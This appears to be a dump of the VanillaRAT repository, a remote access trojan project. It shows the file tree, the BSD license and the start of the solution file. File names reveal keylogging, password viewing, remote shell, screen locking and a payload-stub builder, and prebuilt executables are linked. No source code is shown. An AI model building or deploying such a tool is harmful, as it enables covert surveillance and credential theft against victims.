├── .vs
├── VanillaRat
│ └── v15
│ │ ├── .suo
│ │ └── Server
│ │ └── sqlite3
│ │ ├── db.lock
│ │ ├── storage.ide
│ │ ├── storage.ide-shm
│ │ └── storage.ide-wal
└── config
│ └── applicationhost.config
├── Banner.png
├── LICENSE
├── README.md
├── Screenshot.png
├── VanillaRat.sln
├── VanillaRat.sln.DotSettings.user
├── VanillaRat
├── App.config
├── Classes
│ ├── AutoClosingMsgBox.cs
│ ├── Builder.cs
│ ├── Notification.cs
│ ├── Server.cs
│ ├── Settings.cs
│ ├── Telepathy
│ │ ├── Client.cs
│ │ ├── Common.cs
│ │ ├── EventType.cs
│ │ ├── Logger.cs
│ │ ├── Message.cs
│ │ ├── NetworkStreamExtensions.cs
│ │ ├── SafeQueue.cs
│ │ ├── Server.cs
│ │ └── Utils.cs
│ └── TempDataHelper.cs
├── ClientSettings.cs
├── FodyWeavers.xml
├── FodyWeavers.xsd
├── Forms
│ ├── AudioRecorder.Designer.cs
│ ├── AudioRecorder.cs
│ ├── AudioRecorder.resx
│ ├── BuilderForm.Designer.cs
│ ├── BuilderForm.cs
│ ├── BuilderForm.resx
│ ├── Chat.Designer.cs
│ ├── Chat.cs
│ ├── Chat.resx
│ ├── ClientRunningApps.Designer.cs
│ ├── ClientRunningApps.cs
│ ├── ClientRunningApps.resx
│ ├── ClipboardTextViewer.Designer.cs
│ ├── ClipboardTextViewer.cs
│ ├── ClipboardTextViewer.resx
│ ├── ComputerInformation.Designer.cs
│ ├── ComputerInformation.cs
│ ├── ComputerInformation.resx
│ ├── Controls
│ │ ├── FlatPanel.Designer.cs
│ │ └── FlatPanel.cs
│ ├── FileExplorer.Designer.cs
│ ├── FileExplorer.cs
│ ├── FileExplorer.resx
│ ├── HardwareUsageViewer.Designer.cs
│ ├── HardwareUsageViewer.cs
│ ├── HardwareUsageViewer.resx
│ ├── Keylogger.Designer.cs
│ ├── Keylogger.cs
│ ├── Keylogger.resx
│ ├── Main.Designer.cs
│ ├── Main.cs
│ ├── Main.resx
│ ├── NotificationBox.Designer.cs
│ ├── NotificationBox.cs
│ ├── NotificationBox.resx
│ ├── OpenWebsite.Designer.cs
│ ├── OpenWebsite.cs
│ ├── OpenWebsite.resx
│ ├── PasswordViewer.Designer.cs
│ ├── PasswordViewer.cs
│ ├── PasswordViewer.resx
│ ├── RDC.Designer.cs
│ ├── RDC.cs
│ ├── RDC.resx
│ ├── RemoteShell.Designer.cs
│ ├── RemoteShell.cs
│ ├── RemoteShell.resx
│ ├── Resources
│ │ ├── Administrative Tools_48px.png
│ │ ├── Chat_48px.png
│ │ ├── Click_Soft_00.wav
│ │ ├── Close Window_48px.png
│ │ ├── Communication_48px.png
│ │ ├── Compose_48px.png
│ │ ├── Console_48px.png
│ │ ├── Disconnected_48px.png
│ │ ├── Document_48px.png
│ │ ├── Double Up_48px.png
│ │ ├── Download_48px.png
│ │ ├── Eye_48px.png
│ │ ├── Flash On_48px.png
│ │ ├── Headphones_48px.png
│ │ ├── Info_48px.png
│ │ ├── Keyboard_48px.png
│ │ ├── Laptop_48px.png
│ │ ├── Lock Landscape_48px.png
│ │ ├── Monitor_48px.png
│ │ ├── Mouse_48px.png
│ │ ├── Opened Folder_48px.png
│ │ ├── Paper Plane_48px.png
│ │ ├── Person_48px.png
│ │ ├── Play_48px.png
│ │ ├── Resize_48px.png
│ │ ├── Restart_48px.png
│ │ ├── Server_48px.png
│ │ ├── Services_48px.png
│ │ ├── Source Code_48px.png
│ │ ├── Upload_48px.png
│ │ ├── Website_48px.png
│ │ └── Windows Client_48px.png
│ ├── SettingsForm.Designer.cs
│ ├── SettingsForm.cs
│ └── SettingsForm.resx
├── Program.cs
├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
├── Settings.cs
├── StreamLibrary.dll
├── VanillaRat.csproj
├── VanillaRat.csproj.user
├── bin
│ ├── Debug
│ │ ├── BlockedConnections.txt
│ │ ├── VanillaRat.exe
│ │ ├── VanillaRat.exe.config
│ │ ├── VanillaRat.pdb
│ │ ├── VanillaStub.exe
│ │ └── dnlib.xml
│ └── Release.zip
├── obj
│ ├── Debug
│ │ ├── Costura
│ │ │ ├── 0142130198ACCF6E1C479D175B260285A868B6C9.costura.telepathy.dll.compressed
│ │ │ ├── 0564FF7F7E6084BD6D02D8E6A4127D1C878B3FA6.costura.system.globalization.calendars.dll.compressed
│ │ │ ├── 05E65EE95F647F38C717C73A0399870912DD374A.costura.system.threading.tasks.parallel.dll.compressed
│ │ │ ├── 09D02B85A094E925AC3C5D8B1ACA096B730C160F.costura.system.xml.xmldocument.dll.compressed
│ │ │ ├── 0B7A9EC0DFF6D958C9C64B5F592993372D31C5E9.costura.system.valuetuple.dll.compressed
│ │ │ ├── 12419C25D1C2EB706A4E4E649EE353CEDA7446A9.costura.system.diagnostics.fileversioninfo.dll.compressed
│ │ │ ├── 1420EF91F6E0F6954F373F1AC4079064398AB455.costura.system.net.sockets.dll.compressed
│ │ │ ├── 15349E541122743A5D355946E48380AC1811B52F.costura.system.runtime.interopservices.runtimeinformation.dll.compressed
│ │ │ ├── 16EB49AFCA84C9E6160B4E5B36F1EC5C98470C86.costura.system.io.filesystem.driveinfo.dll.compressed
│ │ │ ├── 1BA9ECC598E170D779CEB290163AC88E6993935F.costura.system.net.ping.dll.compressed
│ │ │ ├── 1C2CEFAFBA48BA7AAAB746F660DEBD34F2F4B14C.costura.system.net.http.dll.compressed
│ │ │ ├── 20AEAED12DFB8D71E39687350EB12BC0DE372AF0.costura.system.componentmodel.primitives.dll.compressed
│ │ │ ├── 2CB934305D3648FF29FDBC7D92485003F8458848.costura.system.net.nameresolution.dll.compressed
│ │ │ ├── 2CB98F9622F57A0A9E037A378519AA6A271302F6.costura.system.globalization.extensions.dll.compressed
│ │ │ ├── 2E32D50EC33EC6635681485B754F4E58D434A5EE.costura.system.componentmodel.dll.compressed
│ │ │ ├── 2E6A3047BD3BCEE01F55D139A3C03E6D4D2DB14A.costura.system.runtime.interopservices.dll.compressed
│ │ │ ├── 2EF7D0A222C3A3E564B3C72D5B71A5BE40A7ADEA.costura.system.diagnostics.process.dll.compressed
│ │ │ ├── 311F52B31611E6DC5FD4C0159BFA452C22980CA7.costura.system.collections.concurrent.dll.compressed
│ │ │ ├── 33AC74D6E549026736CBD35D466E7ABECDEAFB81.costura.streamlibrary.dll.compressed
│ │ │ ├── 33D1EBD7212D747C8723CFB9E4292C99A641B964.costura.system.reflection.primitives.dll.compressed
│ │ │ ├── 3946DFF0B68F0CA01689BD44C348559ADF548258.costura.system.text.encoding.dll.compressed
│ │ │ ├── 3CA31DE7F0F0784559E5A73EBD0EFB42C34D18FC.costura.system.reflection.dll.compressed
│ │ │ ├── 474944856DB781A34796BFCCE18ECD4580275AD1.costura.system.io.unmanagedmemorystream.dll.compressed
│ │ │ ├── 48F227C62B2001C441BCBC5B570911F096DDF421.costura.system.io.isolatedstorage.dll.compressed
│ │ │ ├── 49392F58BE6F5C97C5DE59BFC44F9CFCBE1E5DD7.costura.system.net.websockets.client.dll.compressed
│ │ │ ├── 498F0FBBD2712F4F637BDB7370B2302FCC4966F3.costura.system.resources.reader.dll.compressed
│ │ │ ├── 4D4AE0D2664025327F28400D917CC59AFD69F33A.costura.system.linq.parallel.dll.compressed
│ │ │ ├── 4D923B100142AFA2E0A8B7ACDB3A6DE6FEB91148.costura.system.collections.dll.compressed
│ │ │ ├── 4D93C7D7E6315CA2195ED73716996ADE8E17FBB2.costura.system.linq.dll.compressed
│ │ │ ├── 5042EE630A6C7C2986E8323A14D052C1D83B6F61.costura.system.diagnostics.contracts.dll.compressed
│ │ │ ├── 51E466218025126C5E524AFD2086F4AB0BF3660A.costura.system.diagnostics.tools.dll.compressed
│ │ │ ├── 526C688E71A7D7410007AD5AA6EA8B83CACE76C5.costura.system.collections.nongeneric.dll.compressed
│ │ │ ├── 5627E53D15E56868DC9082EDCAE5A653B96B9AF1.costura.system.linq.expressions.dll.compressed
│ │ │ ├── 584B8683943A8E0AE98B10F452C94F6109D1C4EA.costura.system.runtime.handles.dll.compressed
│ │ │ ├── 59FEB2AF0BE9EC4CCEC2125D2383E3E282F428A7.costura.costura.dll.compressed
│ │ │ ├── 5AC34F02482BC2228F1175B9F3727C54F6B0A705.costura.dnlib.pdb.compressed
│ │ │ ├── 5E4158533532A27E03D0CCC9A0AF5E89FFFD8637.costura.system.net.security.dll.compressed
│ │ │ ├── 5EA3F290ECDE1BAB983CEEE2417A688B7ED9B7F5.costura.system.threading.timer.dll.compressed
│ │ │ ├── 5F3DA777AF01DBC159BD8D9D97D5DC105918AFC5.costura.system.componentmodel.eventbasedasync.dll.compressed
│ │ │ ├── 609F31B98831327677E89E08BFF7D7322BA0F4A4.costura.system.io.compression.dll.compressed
│ │ │ ├── 6523838EF4AAB39D0D3C0DF11C28ADA449EDD592.costura.system.net.webheadercollection.dll.compressed
│ │ │ ├── 68C240D1A43DE1678EF13107B9300C544E9D5E4E.costura.system.io.filesystem.watcher.dll.compressed
│ │ │ ├── 68E1AF02CDDD57B5581708984C2B4A35074982A3.costura.netstandard.dll.compressed
│ │ │ ├── 7A6276348D85EAF00AE6958117797045929078CB.costura.system.runtime.compilerservices.visualc.dll.compressed
│ │ │ ├── 7ADD96BAA123DB819F2F3D5AA62D6F872CE8FE14.costura.system.data.common.dll.compressed
│ │ │ ├── 7B249C6390DFC90EF33F9A697174E363080091EF.costura.microsoft.win32.primitives.dll.compressed
│ │ │ ├── 7D71B46BB9A28289384AA1EDF5CB03D64B3BCFF0.costura.system.runtime.extensions.dll.compressed
│ │ │ ├── 7FE773332D0461A252E52BE720A7794FCAAC7BFB.costura.system.text.encoding.extensions.dll.compressed
│ │ │ ├── 82BA1313448B431893C14D866F46D47B620514A9.costura.system.security.principal.dll.compressed
│ │ │ ├── 846711D4161A3950FACDEF97037898A71F4EFDA1.costura.system.globalization.dll.compressed
│ │ │ ├── 87C352153804FF5BD4F8AEF8851546F3CF22461E.costura.system.runtime.serialization.primitives.dll.compressed
│ │ │ ├── 87ED79D195D8D93AE1155AF08857F751A7ECA245.costura.system.diagnostics.tracing.dll.compressed
│ │ │ ├── 8A2FB74CF11719708774FC378D8B5BFCC541C986.costura.system.objectmodel.dll.compressed
│ │ │ ├── 8BBB7BADAAA912C1F17775E9ACDCAB389704C772.costura.system.collections.specialized.dll.compressed
│ │ │ ├── 90E196DCD76168F770ABE30098399BC5866ADF1B.costura.system.xml.xpath.xdocument.dll.compressed
│ │ │ ├── 92BF07CCF32EB9FDF06F446A256E0271C4028BF0.costura.system.io.compression.zipfile.dll.compressed
│ │ │ ├── 93702135DB0646B893BABE030BD8DC15549FF0C2.costura.system.appcontext.dll.compressed
│ │ │ ├── 95699D187BF150D319CC64F90064301CAC57F338.costura.system.security.cryptography.algorithms.dll.compressed
│ │ │ ├── 96314EC1A59E4BB53C5B609BF79AD4C998A7A988.costura.system.diagnostics.tracesource.dll.compressed
│ │ │ ├── 97B62A3DBE2465B4C995E082AD6FF183F6267F59.costura.system.security.claims.dll.compressed
│ │ │ ├── 9A66414D9D5C26852F44A7954C97B8416A244C7A.costura.darkui.dll.compressed
│ │ │ ├── 9D5686CBF45E90DF5E11D87E7B90173A1A64B1A0.costura.system.console.dll.compressed
│ │ │ ├── A00954217CA326C54A863D451820263A6D7EE1AF.costura.system.io.pipes.dll.compressed
│ │ │ ├── A181F5CC93E9273D9169A9954A74D73BC1852980.costura.system.linq.queryable.dll.compressed
│ │ │ ├── A674C009A518FA67643E617EEC6BA54632EE876B.costura.dnlib.dll.compressed
│ │ │ ├── A67FDACEB10E828805A9E24FE0C59E1D73D19A7C.costura.system.security.cryptography.csp.dll.compressed
│ │ │ ├── A69238054BEE26063D32B85B797BC4E0C49F79D4.costura.system.security.cryptography.primitives.dll.compressed
│ │ │ ├── A6999C04B243B034F8EE7AD0D79F3CE24DF9A9D0.costura.system.io.dll.compressed
│ │ │ ├── A994C87352486D433A06943C01329DD721AB343F.costura.system.dynamic.runtime.dll.compressed
│ │ │ ├── AD55AF22E5479A5ADDF01D698138E5149270E3CF.costura.system.net.networkinformation.dll.compressed
│ │ │ ├── B0A8868D459FE0AF34D16C263CFE0202C414DC53.costura.system.security.cryptography.x509certificates.dll.compressed
│ │ │ ├── B1756DC750ED5CFD5D0BFC70CB899FD590867A0C.costura.system.resources.writer.dll.compressed
│ │ │ ├── B219DD45550762B54DAB46533D489C4755F55E0E.costura.system.net.primitives.dll.compressed
│ │ │ ├── B56C3D2E270B1C793A2EE17CAC9C98B178258E94.costura.system.net.requests.dll.compressed
│ │ │ ├── B6B8986FC1B5140817DE262AE4102499E37DAFFD.costura.system.runtime.serialization.formatters.dll.compressed
│ │ │ ├── B81FF87B407578EFBF184BDC10D0F101610379DB.costura.system.runtime.numerics.dll.compressed
│ │ │ ├── BBBB4C2C3911AE1F5BA7FAF1D632ED0F14D9B6AC.costura.system.xml.xmlserializer.dll.compressed
│ │ │ ├── BF2C1287F0EC04223CD17FE20AB2ECFFF18579E3.costura.system.threading.overlapped.dll.compressed
│ │ │ ├── BF83A7E98418BDE907DEAE8C0C0F3FB0F6C9DB1A.costura.system.resources.resourcemanager.dll.compressed
│ │ │ ├── BFA0E27BE1D56BA48918A9B7CA7090AF7779A10E.costura.system.io.filesystem.dll.compressed
│ │ │ ├── BFE2384A92B385665689AD5A72F23ABC8C022D82.costura.system.componentmodel.typeconverter.dll.compressed
│ │ │ ├── C2E4B19CB9A0B48E899512CD121FFE6657D41072.costura.system.text.regularexpressions.dll.compressed
│ │ │ ├── C3848473E42E2F9B4D0A00180EA9ADE654432587.costura.system.diagnostics.textwritertracelistener.dll.compressed
│ │ │ ├── C53132EC95A7211C1BB6DCD5AD21CCB150A7B923.costura.system.threading.thread.dll.compressed
│ │ │ ├── D707745E72D2F39374F2D28AF52AAAB7888B93AB.costura.system.drawing.primitives.dll.compressed
│ │ │ ├── D9DF77B4993418337894FF04C6B813224B9F8543.costura.system.io.memorymappedfiles.dll.compressed
│ │ │ ├── DDDA49572D112944EC9AB62B31959AA93A386618.costura.system.threading.dll.compressed
│ │ │ ├── DFAD52A9990B2FAFCE7098CEBB174927E8E0BA00.costura.system.xml.xdocument.dll.compressed
│ │ │ ├── E0FAD5EF75676B2ED7CF155AF6602B867FCED041.costura.system.net.websockets.dll.compressed
│ │ │ ├── EB8C010A35B461402C1C33133F1B61C78BE8425A.costura.system.diagnostics.debug.dll.compressed
│ │ │ ├── ED23E654968B3704A82F613B06BE5829E0CAAD70.costura.system.security.cryptography.encoding.dll.compressed
│ │ │ ├── ED25E94D4E88293345A0F28A5B975159C393B050.costura.system.xml.xpath.dll.compressed
│ │ │ ├── EE1AE416570911282ABDD3745674E58F9D469C9E.costura.system.runtime.serialization.json.dll.compressed
│ │ │ ├── EF317CACC230A58A3B2FCC6CC079CC763AFCC7C5.costura.system.xml.readerwriter.dll.compressed
│ │ │ ├── EF6B3CCFF90BEDDAB5CE6F60B4CC23F75EDFD009.costura.system.diagnostics.stacktrace.dll.compressed
│ │ │ ├── F3BD9B4108ACD42ABFB99A3A4760BFFCB84F6C28.costura.system.reflection.extensions.dll.compressed
│ │ │ ├── F434AF8CE30EAF5511E28C0230211F0D8ED4A154.costura.system.runtime.serialization.xml.dll.compressed
│ │ │ ├── F720109A38846E358BDE7C47D9C946A79D2B6B1C.costura.system.threading.tasks.dll.compressed
│ │ │ ├── F874903CEA9F08F1A0887949B47722E6BA81B789.costura.system.threading.threadpool.dll.compressed
│ │ │ ├── FCA2F72C039937357099CA6E167330E540F8335D.costura.system.io.filesystem.primitives.dll.compressed
│ │ │ ├── FD622ADE5CAE26353A22B6FA50A83669B72B6C41.costura.system.runtime.dll.compressed
│ │ │ └── FF6E6BCD83A11D40BF53DABD0480A67AECFDCF50.costura.system.security.securestring.dll.compressed
│ │ ├── DesignTimeResolveAssemblyReferences.cache
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── TempPE
│ │ │ └── Properties.Resources.Designer.cs.dll
│ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
│ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
│ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
│ │ ├── VanillaRat.Forms.AudioRecorder.resources
│ │ ├── VanillaRat.Forms.BuilderForm.resources
│ │ ├── VanillaRat.Forms.Chat.resources
│ │ ├── VanillaRat.Forms.ClientRunningApps.resources
│ │ ├── VanillaRat.Forms.ClipboardTextViewer.resources
│ │ ├── VanillaRat.Forms.ComputerInformation.resources
│ │ ├── VanillaRat.Forms.FileExplorer.resources
│ │ ├── VanillaRat.Forms.HardwareUsageViewer.resources
│ │ ├── VanillaRat.Forms.Keylogger.resources
│ │ ├── VanillaRat.Forms.NotificationBox.resources
│ │ ├── VanillaRat.Forms.OpenWebsite.resources
│ │ ├── VanillaRat.Forms.PasswordViewer.resources
│ │ ├── VanillaRat.Forms.RDC.resources
│ │ ├── VanillaRat.Forms.RemoteDesktopViewer.resources
│ │ ├── VanillaRat.Forms.RemoteShell.resources
│ │ ├── VanillaRat.Forms.SettingsForm.resources
│ │ ├── VanillaRat.Main.resources
│ │ ├── VanillaRat.Properties.Resources.resources
│ │ ├── VanillaRat.csproj.CopyComplete
│ │ ├── VanillaRat.csproj.CoreCompileInputs.cache
│ │ ├── VanillaRat.csproj.FileListAbsolute.txt
│ │ ├── VanillaRat.csproj.Fody.CopyLocal.cache
│ │ ├── VanillaRat.csproj.GenerateResource.cache
│ │ ├── VanillaRat.csprojAssemblyReference.cache
│ │ ├── VanillaRat.exe
│ │ └── VanillaRat.pdb
│ └── x64
│ │ ├── Debug
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
│ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
│ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
│ │ └── VanillaRat.csproj.CoreCompileInputs.cache
│ │ └── Release
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
│ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
│ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
│ │ └── VanillaRat.csproj.CoreCompileInputs.cache
└── packages.config
├── VanillaRatDemo.gif
├── VanillaStub
├── App.config
├── ClientSettings.cs
├── Forms
│ ├── Chat.Designer.cs
│ ├── Chat.cs
│ ├── Chat.resx
│ ├── IScreenLocker.cs
│ ├── InitialForm.Designer.cs
│ ├── InitialForm.cs
│ ├── InitialForm.resx
│ ├── ScreenLock.Designer.cs
│ ├── ScreenLock.cs
│ └── ScreenLock.resx
├── Helpers
│ ├── Enums.cs
│ ├── Information
│ │ ├── ComputerInfo.cs
│ │ └── GeoInfo.cs
│ ├── Networking
│ │ ├── Networking.cs
│ │ └── Telepathy
│ │ │ ├── Client.cs
│ │ │ ├── Common.cs
│ │ │ ├── EventType.cs
│ │ │ ├── Logger.cs
│ │ │ ├── Message.cs
│ │ │ ├── NetworkStreamExtensions.cs
│ │ │ ├── SafeQueue.cs
│ │ │ ├── Server.cs
│ │ │ └── Utils.cs
│ └── Services
│ │ ├── AntiProcess.cs
│ │ ├── InputSimulator
│ │ ├── IInputDeviceStateAdaptor.cs
│ │ ├── IInputMessageDispatcher.cs
│ │ ├── IInputSimulator.cs
│ │ ├── IKeyboardSimulator.cs
│ │ ├── IMouseSimulator.cs
│ │ ├── InputBuilder.cs
│ │ ├── InputSimulator.cs
│ │ ├── KeyboardSimulator.cs
│ │ ├── MouseButton.cs
│ │ ├── MouseSimulator.cs
│ │ ├── Native
│ │ │ ├── HARDWAREINPUT.cs
│ │ │ ├── INPUT.cs
│ │ │ ├── InputType.cs
│ │ │ ├── KEYBDINPUT.cs
│ │ │ ├── KeyboardFlag.cs
│ │ │ ├── MOUSEINPUT.cs
│ │ │ ├── MOUSEKEYBDHARDWAREINPUT.cs
│ │ │ ├── MouseFlag.cs
│ │ │ ├── NativeMethods.cs
│ │ │ ├── VirtualKeyCode.cs
│ │ │ └── XButton.cs
│ │ ├── WindowsInputDeviceStateAdaptor.cs
│ │ └── WindowsInputMessageDispatcher.cs
│ │ ├── Keylogger.cs
│ │ ├── StreamClasses.cs
│ │ └── StreamLibrary
│ │ ├── Enums.cs
│ │ ├── IUnsafeCodec.cs
│ │ ├── IVideoCodec.cs
│ │ ├── UnsafeCodecs
│ │ └── UnsafeStreamCodec.cs
│ │ └── src
│ │ ├── CRC32.cs
│ │ ├── ExtensionAttribute.cs
│ │ ├── Extensions.cs
│ │ ├── FastBitmap.cs
│ │ ├── JpgCompression.cs
│ │ ├── LzwCompression.cs
│ │ ├── MurmurHash2Unsafe.cs
│ │ ├── NativeMethods.cs
│ │ ├── PayloadWriter.cs
│ │ ├── PointerHelper.cs
│ │ ├── SafeQuickLZ.cs
│ │ └── SimpleBitmap.cs
├── Program.cs
├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
├── VanillaStub.csproj
├── VanillaStub.csproj.DotSettings
├── VanillaStub.csproj.user
├── alert-logo-png-2.png
├── bin
│ └── Debug
│ │ ├── VanillaStub.exe
│ │ ├── VanillaStub.exe.config
│ │ └── VanillaStub.pdb
└── obj
│ └── Debug
│ ├── DesignTimeResolveAssemblyReferences.cache
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── TempPE
│ └── Properties.Resources.Designer.cs.dll
│ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
│ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
│ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
│ ├── VanillaStub.Forms.Chat.resources
│ ├── VanillaStub.Forms.InitialForm.resources
│ ├── VanillaStub.Forms.ScreenLock.resources
│ ├── VanillaStub.Properties.Resources.resources
│ ├── VanillaStub.csproj.CoreCompileInputs.cache
│ ├── VanillaStub.csproj.FileListAbsolute.txt
│ ├── VanillaStub.csproj.GenerateResource.cache
│ ├── VanillaStub.csprojAssemblyReference.cache
│ ├── VanillaStub.exe
│ └── VanillaStub.pdb
└── packages
├── Costura.Fody.3.3.2
├── .signature.p7s
├── Costura.Fody.3.3.2.nupkg
├── build
│ └── Costura.Fody.props
├── lib
│ └── net40
│ │ ├── Costura.dll
│ │ └── Costura.xml
├── netclassicweaver
│ ├── Costura.Fody.dll
│ ├── Costura.Fody.pdb
│ └── Costura.Fody.xcf
└── netstandardweaver
│ ├── Costura.Fody.dll
│ ├── Costura.Fody.pdb
│ └── Costura.Fody.xcf
├── Fody.3.3.5
├── .signature.p7s
├── Fody.3.3.5.nupkg
├── build
│ └── Fody.targets
├── netclassictask
│ ├── Fody.dll
│ ├── FodyCommon.dll
│ ├── FodyHelpers.dll
│ ├── FodyIsolated.dll
│ ├── Mono.Cecil.Mdb.dll
│ ├── Mono.Cecil.Mdb.pdb
│ ├── Mono.Cecil.Pdb.dll
│ ├── Mono.Cecil.Pdb.pdb
│ ├── Mono.Cecil.Rocks.dll
│ ├── Mono.Cecil.Rocks.pdb
│ ├── Mono.Cecil.dll
│ └── Mono.Cecil.pdb
└── netstandardtask
│ ├── Fody.dll
│ ├── FodyCommon.dll
│ ├── FodyHelpers.dll
│ ├── FodyIsolated.dll
│ ├── Mono.Cecil.Mdb.dll
│ ├── Mono.Cecil.Mdb.pdb
│ ├── Mono.Cecil.Pdb.dll
│ ├── Mono.Cecil.Pdb.pdb
│ ├── Mono.Cecil.Rocks.dll
│ ├── Mono.Cecil.Rocks.pdb
│ ├── Mono.Cecil.dll
│ └── Mono.Cecil.pdb
└── dnlib.3.1.0
├── .signature.p7s
├── LICENSE.txt
├── dnlib.3.1.0.nupkg
└── lib
├── net35
├── dnlib.dll
├── dnlib.pdb
└── dnlib.xml
├── net461
├── dnlib.dll
├── dnlib.pdb
└── dnlib.xml
├── netcoreapp2.1
├── dnlib.dll
├── dnlib.pdb
└── dnlib.xml
└── netstandard2.0
├── dnlib.dll
├── dnlib.pdb
└── dnlib.xml
/.vs/VanillaRat/v15/.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/.vs/VanillaRat/v15/.suo
--------------------------------------------------------------------------------
/.vs/VanillaRat/v15/Server/sqlite3/db.lock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/.vs/VanillaRat/v15/Server/sqlite3/db.lock
--------------------------------------------------------------------------------
/.vs/VanillaRat/v15/Server/sqlite3/storage.ide:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/.vs/VanillaRat/v15/Server/sqlite3/storage.ide
--------------------------------------------------------------------------------
/.vs/VanillaRat/v15/Server/sqlite3/storage.ide-shm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/.vs/VanillaRat/v15/Server/sqlite3/storage.ide-shm
--------------------------------------------------------------------------------
/.vs/VanillaRat/v15/Server/sqlite3/storage.ide-wal:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/.vs/VanillaRat/v15/Server/sqlite3/storage.ide-wal
--------------------------------------------------------------------------------
/Banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/Banner.png
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2021, Daniel Huinda
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | 1. Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | 2. Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | 3. Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/Screenshot.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/Screenshot.png
--------------------------------------------------------------------------------
/VanillaRat.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.329
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VanillaRat", "VanillaRat\VanillaRat.csproj", "{D0F2EE67-0A50-423D-BFE6-845DA892A2DB}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VanillaStub", "VanillaStub\VanillaStub.csproj", "{A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Debug|x64 = Debug|x64
14 | Release|Any CPU = Release|Any CPU
15 | Release|x64 = Release|x64
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
19 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Debug|Any CPU.Build.0 = Debug|Any CPU
20 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Debug|x64.ActiveCfg = Debug|Any CPU
21 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Debug|x64.Build.0 = Debug|Any CPU
